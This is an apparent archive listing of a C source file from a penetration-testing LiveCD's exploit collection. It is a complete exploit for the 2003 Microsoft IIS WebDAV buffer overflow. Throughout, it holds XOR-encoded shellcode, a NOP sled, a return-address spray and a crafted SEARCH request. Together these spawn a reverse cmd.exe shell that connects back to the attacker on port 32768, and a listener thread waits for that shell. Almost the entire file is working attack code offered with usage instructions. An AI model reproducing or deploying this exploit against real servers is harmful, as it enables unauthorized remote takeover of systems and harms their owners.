home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / WebDavII.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  8KB  |  305 lines

  1. /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
  2. /*        29/05/2003 - by </font>Alumni -                   */
  3. /*              Microsoft IIS WebDAV New Exploit           */
  4. /*                 spawns shell on port 32768                 */
  5. /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
  6.  
  7. #include <stdio.h>
  8. #include <winsock.h>
  9. #include <windows.h>
  10.  
  11. #define SHELLCODELEN    753
  12. #define NOP                0x90
  13. #define BUFFERLEN        1024
  14. #define RET                0x41424344
  15.  
  16. #define GMHOFF    30
  17. #define GPAOFF    38
  18. #define IPOFF    161
  19. #define DEFPORT    32768
  20.  
  21.  
  22. //#define DEBUGGEE_FLOW    // for debug only
  23.  
  24. #ifdef DEBUGGEE_FLOW
  25. #define GMH        (long)GetModuleHandle
  26. #define GPA        (long)GetProcAddress
  27. #else
  28. #define GMH        0x0100107C    // GetModuleHandle@
  29. #define GPA        0x01001034    // GetProcAddress@
  30. #endif
  31.  
  32.  
  33. #define XOROFF    11
  34. #define SOFF    16
  35.  
  36.  
  37. char prologue[] =
  38. "\xEB\x03"    // jmp $+3
  39. "\x58"        // pop eax
  40. "\x50"        // push eax
  41. "\xC3"        // retn
  42. "\xE8\xF8\xFF\xFF\xFF"    // call $-3
  43. "\xB2"        // mov dl, %key
  44.  
  45. "\x90"        // %key
  46. "\x33\xC9"    // xor ecx, ecx
  47. "\x66\xB9"    // mov cx, shellcodesize
  48.  
  49. "\x04\x03"    // shellcodesize = hex(SHELLCODELEN)
  50. "\x04\x14"    // add al, 0x14
  51. "\x30\x10"    // xor byte ptr[eax], dl
  52. "\x40"        // inc eax
  53. "\x66\x49"    // dec cx
  54. "\x67\xE3\x02"    // jcxz $+5
  55. "\xEB\xF6"    // jmp $-8
  56. ;
  57.  
  58.  
  59. char shellcode[SHELLCODELEN+1] =
  60. "\xe8\x5f\x02\x00\x00\x8b\xe8\x33\xf6\x66\xbe\x80"
  61. "\x00\x03\xf4\xc7\x46\xf0\x00\x00\x00\x00\xc7\x46"
  62. "\xf4\x00\x00\x00\x00\xb8\xf2\x12\x40\x00\x89\x46"
  63. "\xf8\xb8\xf8\x12\x40\x00\x89\x46\xfc\x8b\xd5\x81"
  64. "\xc2\x9e\x02\x00\x00\x52\xff\x56\xf8\x89\x46\xf4"
  65. "\x8b\xd5\x81\xc2\xab\x02\x00\x00\x52\xff\x76\xf4"
  66. "\xff\x56\xfc\x68\x00\x10\x00\x00\x6a\x40\xff\xd0"
  67. "\x8b\xf8\x8b\xc7\x8b\xfe\x8b\xf0\x83\xc6\x20\x8b"
  68. "\x47\xf8\x89\x46\xf8\x8b\x47\xf4\x89\x46\xf4\x8b"
  69. "\x47\xfc\x89\x46\xfc\x8b\xd5\x81\xc2\x6e\x02\x00"
  70. "\x00\x52\xff\x56\xf8\x89\x46\xf0\x8b\xd5\x81\xc2"
  71. "\x7e\x02\x00\x00\x52\xff\x76\xf0\xff\x56\xfc\x8b"
  72. "\xd8\x6a\x06\x6a\x01\x6a\x02\xff\xd3\x89\x06\x8b"
  73. "\xd6\x83\xc2\x14\xb8"
  74. "\x7f\x00\x00\x01"        // put your ip here (run netcat before, 
  75. e.g. 127.0.0.1)
  76. "\x89\x42\x04\x66\xc7\x02\x02\x00\x66\xb8"
  77. "\x80\x00"            // specify connectious port here (e.g. 
  78. 32768)
  79. "\x66\x89\x42"
  80. "\x02\x8b\xd5\x81\xc2\x8a\x02\x00\x00\x52\xff\x76"
  81. "\xf0\xff\x56\xfc\x8b\xd8\x6a\x10\x8b\xd6\x83\xc2"
  82. "\x14\x52\xff\x36\xff\xd3\x83\xf8\xff\x0f\x84\x84"
  83. "\x01\x00\x00\x8b\xd5\x81\xc2\x79\x02\x00\x00\x52"
  84. "\xff\x76\xf0\xff\x56\xfc\x8b\xd8\x8b\xd6\x6a\x00"
  85. "\x68\x64\x0f\x00\x00\x81\xc2\x9c\x00\x00\x00\x52"
  86. "\xff\x36\xff\xd3\xc6\x84\x30\x9c\x00\x00\x00\x00"
  87. "\xbb\x00\x00\x00\x00\x66\xb9\x0c\x00\x8a\x84\x2b"
  88. "\x62\x02\x00\x00\x88\x84\x33\x90\x00\x00\x00\x43"
  89. "\x66\x49\x66\x83\xf9\x00\x75\xe9\x8b\xfe\x81\xc7"
  90. "\x84\x00\x00\x00\xc7\x07\x0c\x00\x00\x00\xc7\x47"
  91. "\x04\x00\x00\x00\x00\xc7\x47\x08\x01\x00\x00\x00"
  92. "\x8b\xfe\x8b\xd6\x8b\xce\x81\xc7\x84\x00\x00\x00"
  93. "\x83\xc2\x0c\x83\xc1\x10\x6a\x00\x57\x51\x52\x8b"
  94. "\xd5\x81\xc2\xc9\x02\x00\x00\x52\xff\x76\xf4\xff"
  95. "\x56\xfc\x8b\xd8\xff\xd3\x8b\xfe\x83\xc7\x34\xc7"
  96. "\x07\x44\x00\x00\x00\x66\xc7\x47\x30\x00\x00\xc7"
  97. "\x47\x2c\x01\x01\x00\x00\x8b\x46\x10\x89\x47\x3c"
  98. "\x89\x47\x40\x8b\xd6\x8b\xde\x8b\xce\x81\xc2\x90"
  99. "\x00\x00\x00\x83\xc3\x34\x83\xc1\x78\x51\x53\x6a"
  100. "\x00\x6a\x00\x6a\x00\x6a\x01\x6a\x00\x6a\x00\x52"
  101. "\x6a\x00\x8b\xd5\x81\xc2\xd4\x02\x00\x00\x52\xff"
  102. "\x76\xf4\xff\x56\xfc\x8b\xd8\xff\xd3\x8b\xd5\x81"
  103. "\xc2\xbd\x02\x00\x00\x52\xff\x76\xf4\xff\x56\xfc"
  104. "\x8b\xd8\xff\x76\x10\xff\xd3\x8b\xd6\x83\xc2\x08"
  105. "\x8b\xd5\x81\xc2\xb7\x02\x00\x00\x52\xff\x76\xf4"
  106. "\xff\x56\xfc\x8b\xd8\x68\x88\x13\x00\x00\xff\xd3"
  107. "\x8b\xd6\x8b\xce\x81\xc2\x90\x00\x00\x00\x83\xc1"
  108. "\x08\x8b\x5e\x08\x6a\x00\x51\x68\x70\x0f\x00\x00"
  109. "\x52\xff\x76\x0c\x8b\xd5\x81\xc2\xe3\x02\x00\x00"
  110. "\x52\xff\x76\xf4\xff\x56\xfc\x8b\xd8\xff\xd3\x8b"
  111. "\xd6\x81\xc2\x90\x00\x00\x00\x6a\x00\xff\x76\x08"
  112. "\x52\xff\x36\x8b\xd5\x81\xc2\x85\x02\x00\x00\x52"
  113. "\xff\x76\xf0\xff\x56\xfc\x8b\xd8\xff\xd3\x8b\xd5"
  114. "\x81\xc2\x92\x02\x00\x00\x52\xff\x76\xf0\xff\x56"
  115. "\xfc\x8b\xd8\xff\x36\xff\xd3\xe9\x1c\xfe\xff\xff"
  116. "\x58\x50\xc3\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f"
  117. "\x43\x20\x20\x57\x53\x32\x5f\x33\x32\x2e\x44\x4c"
  118. "\x4c\x00\x72\x65\x63\x76\x00\x73\x6f\x63\x6b\x65"
  119. "\x74\x00\x73\x65\x6e\x64\x00\x63\x6f\x6e\x6e\x65"
  120. "\x63\x74\x00\x63\x6c\x6f\x73\x65\x73\x6f\x63\x6b"
  121. "\x65\x74\x00\x4b\x45\x52\x4e\x45\x4c\x33\x32\x2e"
  122. "\x44\x4c\x4c\x00\x47\x6c\x6f\x62\x61\x6c\x41\x6c"
  123. "\x6c\x6f\x63\x00\x53\x6c\x65\x65\x70\x00\x43\x6c"
  124. "\x6f\x73\x65\x48\x61\x6e\x64\x6c\x65\x00\x43\x72"
  125. "\x65\x61\x74\x65\x50\x69\x70\x65\x00\x43\x72\x65"
  126. "\x61\x74\x65\x50\x72\x6f\x63\x65\x73\x73\x41\x00"
  127. "\x52\x65\x61\x64\x46\x69\x6c\x65\x00";
  128.  
  129.  
  130. char xmlbody[] ="<?xml version=\"1.0\"?>\r\n<g:searchrequest 
  131. xmlns:g=\"DAV:\">\r\n"
  132.                 "<g:sql>\r\nSelect \"DAV:displayname\" 
  133. from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n";
  134.  
  135.  
  136. long retaddr, buffsize;
  137. char* buffer;
  138.  
  139.  
  140.  
  141. unsigned long getlocalhostip()
  142. {
  143.     char buff[128];
  144.     in_addr inaddr;
  145.     if(!gethostname(buff,128))
  146.     {
  147.         memcpy(&inaddr,gethostbyname(buff)->h_addr,4);
  148.         return(inet_addr(inet_ntoa(inaddr)));
  149.     }
  150.     return (-1);
  151. }
  152.  
  153.  
  154.  
  155. ULONG WINAPI AcceptThread(LPVOID lpParam)
  156. {
  157.     int ln1;
  158.     unsigned long slisten, sacc;
  159.     sockaddr_in saddrin;
  160.     
  161.     slisten = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  162.     if (slisten!=INVALID_SOCKET)
  163.     {
  164.         saddrin.sin_addr.s_addr = INADDR_ANY;
  165.         saddrin.sin_family = AF_INET;
  166.         saddrin.sin_port = htons(DEFPORT);
  167.         bind(slisten,(struct sockaddr*)&saddrin,sizeof(saddrin));
  168.         listen(slisten,5);
  169.         while (1)
  170.         {
  171.             ln1 = sizeof(saddrin);
  172.             sacc = accept(slisten,(struct sockaddr*)
  173. &saddrin,&ln1);
  174.             if (sacc!=INVALID_SOCKET)
  175.             {
  176.                 printf("\n\nShell succesfully spawned on 
  177. remote host\nNetcat to %d",DEFPORT);
  178.                 ExitProcess(0);
  179.             }
  180.         }
  181.     }
  182.     return (1);
  183. }
  184.  
  185.  
  186. ULONG SendRequest (char* sHost, int iPort)
  187. {
  188.     char* buffsend;
  189.     struct sockaddr_in saddr_in;
  190.     int timeout;
  191.     unsigned long sock;
  192.  
  193.     buffsend = (char*)malloc(buffsize+256);
  194.     memset(buffsend,0,buffsize+256);
  195.     sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  196.     saddr_in.sin_addr.s_addr = inet_addr(sHost);
  197.     saddr_in.sin_family = AF_INET;
  198.     saddr_in.sin_port = htons(iPort);
  199.     if (!connect(sock,(struct sockaddr*)&saddr_in,sizeof(saddr_in)))
  200.     {
  201.         timeout = 5000;
  202.         setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,(char*)
  203. &timeout,sizeof(timeout));
  204.         setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)
  205. &timeout,sizeof(timeout));
  206.         sprintf(buffsend,"SEARCH / HTTP/1.1\r\nHost:%s\r\nContent-
  207. Type: text/xml\r\nContent-Length: %d\r\n\r\n%s%s",strlen(xmlbody)+strlen
  208. (buffer),xmlbody,buffer);
  209.         send (sock,buffsend,strlen(buffsend),0);
  210.         closesocket(sock);
  211.     }
  212.     else return(1);
  213.     
  214.     return (0);
  215. }
  216.  
  217.  
  218. void dispUsage(char* str1)
  219. {
  220.     printf ("IIS WebDAV exploit by Alumni - The Matrix Reloaded -\n");
  221.     printf ("Usage: %s <ipv4dot> <port> [<buffsize>] [<retaddr>]
  222. \n\n",str1);
  223.     return;
  224. }
  225.  
  226. int main(int argc, char** argv)
  227. {
  228.     unsigned long uThread;
  229.     int prologuelen = 0, i;
  230.     char xorkey = 0;
  231.     long *ptr1;
  232.     WSADATA wsadata;
  233.  
  234.     WSAStartup(MAKEWORD(2,0),&wsadata);
  235.     buffsize = BUFFERLEN;
  236.     retaddr = RET;
  237.  
  238. #ifndef DEBUGGEE_FLOW
  239.     if (argc<3)
  240.     {
  241.         dispUsage(argv[0]);
  242.         return (1);
  243.     }
  244.     if (argc>=4) buffsize = atoi(argv[3]);
  245.     if (argc>=5) retaddr = atol(argv[4]);
  246. #endif
  247.     
  248.     buffer = (char*) malloc(buffsize+1);
  249.     ptr1 = (long*)buffer;
  250.     memset(buffer,0,buffsize);
  251.     CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)
  252. AcceptThread,NULL,NULL,&uThread);
  253.     
  254.     *(long*)(shellcode+GMHOFF) = GMH;
  255.     *(long*)(shellcode+GPAOFF) = GPA;
  256.     *(long*)(shellcode+IPOFF) = getlocalhostip();
  257.  
  258.     for (i=0;i<256;i++)
  259.     {
  260.         int iBool = 1, j;
  261.         for (j=0;j<SHELLCODELEN;j++)
  262.             if ((shellcode[j]^i)==0 || (shellcode[j]^i)==0x0d 
  263. || (shellcode[j]^i)==0x0a) iBool = 0;
  264.         if (iBool)
  265.         {
  266.             xorkey = i;
  267.             break;
  268.         }
  269.     }
  270.  
  271.     for (i=0;i<SHELLCODELEN;i++) shellcode[i] ^= xorkey;
  272.     for (i=0;i<(buffsize-SHELLCODELEN)/2;i++) buffer[i] = NOP;
  273.     prologue[XOROFF] = xorkey;
  274.     *(short int*)(prologue+SOFF) = SHELLCODELEN;
  275.  
  276.     strncat(buffer,prologue,buffsize);
  277.     
  278.     prologuelen = strlen(buffer);
  279.     for (i=prologuelen;i<SHELLCODELEN+prologuelen;i++) buffer[i] = 
  280. shellcode[i-prologuelen];
  281.     prologuelen = strlen(buffer);
  282.     buffer[prologuelen] = NOP;
  283.     buffer[prologuelen+1] = NOP;
  284.     buffer[prologuelen+2] = NOP;
  285.     buffer[prologuelen+3] = NOP;
  286.     for (i=(prologuelen+3) & (~3);i<buffsize;i+=sizeof(retaddr))  *
  287. (long*)(buffer+i) = retaddr;
  288.     buffer[buffsize] = 0;
  289.  
  290.     printf ("%s",buffer);
  291.  
  292.  
  293. #ifdef DEBUGGEE_FLOW
  294.     __asm {
  295.         mov eax, ptr1
  296.         call eax
  297.     }
  298. #else
  299.     SendRequest(argv[1],atoi(argv[2]));
  300. #endif
  301.  
  302.     WSACleanup();
  303.     return (0);
  304. }
  305.